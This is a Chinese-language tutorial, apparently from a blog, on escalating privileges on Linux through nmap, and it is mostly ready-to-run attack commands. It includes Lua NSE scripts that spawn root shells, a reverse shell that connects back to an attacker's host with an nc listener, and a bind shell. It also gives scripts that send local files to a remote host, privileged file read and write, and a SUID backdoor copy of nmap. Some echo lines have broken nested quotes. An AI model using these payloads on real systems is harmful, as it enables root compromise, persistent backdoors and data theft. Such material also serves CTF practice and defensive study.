Linux下的二进制文件提权-nmap

前言

这个有些需求限制于老版本的nmap在2.02至5.21版中可用的交互模式可用于执行Shell命令.
可能CTF类型的提权里面偶尔会遇到这个,实际环境中倒是很少这玩意.

得到一个交互式shell [如果这里是使用root权限下运行的sudo,则可以用于权限提升,媒介是nmap]

[1] 调bash写入一个变量,随后nmap脚本调用

1
2
3
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF

[2]
在2.02至5.21版中可用的交互模式可用于执行Shell命令

1
2
nmap --interactive
nmap> !sh

得到一个非交互式shell

将非交互式反向shell返回给攻击者

1
2
3
4
5
6
7
8
9
10
11
12
export RHOST=这里地址
export RPORT=这里端口
TF=$(mktemp)
echo 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' > $TF
nmap --script=$TF

本地这里监听端口

1
nc -lnvp 对于上面端口

得到一个非交互式shell,固定的端口绑定于本地

1
2
3
4
5
6
7
8
9
10
export LPORT=端口
TF=$(mktemp)
echo 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();' > $TF
nmap --script=$TF

本地这里监听端口

1
nc -lnvp 对于上面端口

文件上传

本地搭建HTTP服务器端口可以是80,8080
[1]

1
2
3
4
RHOST=这里地址
RPORT=这里端口
LFILE=file_to_send
nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE

或者可以用nc这类工具:nc -l -p 端口 > “文件”
[2]

1
2
3
4
5
6
7
8
9
10
11
12
13
export RHOST=这里地址
export RPORT=这里端口
export LFILE=file_to_send
TF=$(mktemp)
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();' > $TF
nmap --script=$TF

文件下载

这里其实和文件上传差不多,可以空控这里需要用到的【本地搭建HTTP服务器:php -S 0.0.0.0:8080,最后它将结果内容写入$TF/IP/PORT/PATH】
[1]

1
2
3
4
5
RHOST=这里地址
RPORT=8080
TF=$(mktemp -d)
LFILE=file_to_save
nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE

[2]
这里同理可以用类似nc的工具:nc ip 端口 < “发送的文件”

1
2
3
4
5
6
7
8
9
10
11
12
export LPORT=端口
export LFILE=file_to_save
TF=$(mktemp)
echo 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);' > $TF
nmap --script=$TF

文件写入

将数据写入文件,可用于特权写入或在受限文件系统之外写入文件。

1
2
3
TF=$(mktemp)
echo 'lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF
nmap --script=$TF

文件读取

它从文件中读取数据,可用于特权读取或在受限文件系统外部读取文件。

1
2
3
TF=$(mktemp)
echo 'lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' > $TF
nmap --script=$TF

限制下的SUID

如果二进制文件的SUID位置1,则可以利用它来访问文件系统,升级或维护具有SUID后门功能的提升权限的访问。如果用于运行命令(例如,通过system()-like调用),则它只能在Debian(<= Stretch)之类的系统上运行,这些系统允许默认shshell以SUID特权运行。

1
2
3
4
5
sudo sh -c 'cp $(which nmap) .; chmod +s ./nmap'

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
./nmap --script=$TF

(本示例创建二进制文件的本地SUID副本并运行它以维护提升的特权。要利用现有的SUID二进制文件,请跳过第一个命令,并使用其原始路径运行该程序。)